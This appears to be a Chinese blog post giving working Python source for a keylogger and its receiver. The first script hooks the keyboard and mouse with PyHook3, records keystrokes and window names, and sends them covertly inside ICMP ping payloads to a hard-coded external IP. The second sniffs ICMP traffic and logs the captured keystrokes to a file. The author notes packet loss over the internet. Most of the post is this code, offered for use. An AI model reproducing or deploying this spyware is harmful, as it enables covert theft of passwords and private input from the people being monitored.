2022/06/07Scapy

这个PyHook3还是非常难装的,用了作者提供的虚拟机环境

# -*- coding: utf-8 -*-
#被监听端
import PyHook3
import os
from scapy.all import *

message='root'#以data中是否有root判断是不是被控端发来的,可能有别人正常地ping服务器

def OnMouseEvent(event):
    global message
    message += '\n'+event.WindowName+'\n'#窗口名称
    if(len(message)>5):#message储存了一些后再发,这个随便,可以去掉
        pinger = IP(dst="150.158.18.137") / ICMP(id=0x0001, seq=0x1) / message
        send(pinger)
        message='root'
    return True

def OnKeyboardEvent(event):
    global message
    if((event.Ascii<32)or(event.Ascii>126)):
        message+=' '

    message += event.Key#按键名称
    if(len(message)>5):
        pinger = IP(dst="150.158.18.137") / ICMP(id=0x0001, seq=0x1) / message
        send(pinger)
        message='root'

    if((event.Ascii<32)or(event.Ascii>126)):
        message+=' '

    return True


hm = PyHook3.HookManager()
hm.MouseAllButtonsDown = OnMouseEvent
hm.KeyDown = OnKeyboardEvent
hm.HookMouse()
hm.HookKeyboard()

if __name__ == '__main__':
    import pythoncom
    pythoncom.PumpMessages()
# -*- coding: utf-8 -*-
#监听端
from scapy.all import *
from scapy.layers.inet import ICMP

def main():
    while True:
        rx = sniff(filter="icmp", count=1)
        v = rx[0].load.decode("utf-8")
        if "root" in v:#检查data里面有没有root
            print(v[4:],end='')
            file_handle=open('1.txt',mode='a')
            file_handle.writelines(v[4:])#去掉开头的root,写入文件
            file_handle.close()

if __name__ == "__main__":
    main()

测试结果是,在内网通信正常,当发给外网的服务器(接收端)丢包比较多。然后两种情况下监听端程序容易突然中断。
这个大佬实现效果比较好,丢包率低。以后有时间具体研究一下。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值